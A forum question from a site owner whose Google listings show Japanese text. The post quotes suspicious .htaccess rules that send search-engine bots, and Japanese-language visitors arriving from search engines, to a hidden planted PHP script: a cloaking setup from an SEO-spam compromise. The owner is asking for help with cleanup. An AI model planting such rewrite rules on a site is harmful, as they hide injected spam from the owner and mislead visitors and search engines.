Is this a sign of Hacking

I have a site that is showing Japanese characters for all text when the the site comes up in a Google search. Yet I can go directly to the site using the domain name and the site looks fine and I can see no excess code on the home page. The hosting company can find no evidence of hacking and no warning in GWT/Search Console. I requested Google to fetch the page and index it and the japanese characters are still showing up. I also changed the password.

However the htaccess file has code that I don't recognize (the site hasn't been worked on for over a year). All the new code is for Wordpress but the owner has never used Wordpress even though I can see it installed. It has one line for the japanese language so I suspect this is the problem.

Can someone tell me if I remove this section in htaccess (see below) and remove the blog off the server if this will take care of the hacking problem? Should I change the password again once I do this?

RewriteRule ^google(.*)\.html$ /wordpress/wp-admin/network/tpl/wp-og3.php?gg=$1 [L]
RewriteCond %{HTTP_USER_AGENT} (bot|google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [NC]
RewriteCond %{REQUEST_FILENAME} !(wp-og3.php|xsl|css|jpg|gif|js)$ [NC]
RewriteRule ^(.*)$ /wordpress/wp-admin/network/tpl/wp-og3.php [L]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing|seznam|Seznam) [NC]
RewriteCond %{HTTP:Accept-Language} ^ja.*$ [NC]
RewriteCond %{REQUEST_FILENAME} !(wp-og3.php|xsl|css|jpg|gif|js)$ [NC]
RewriteRule ^(.*)$ /wordpress/wp-admin/network/tpl/wp-og3.php [L]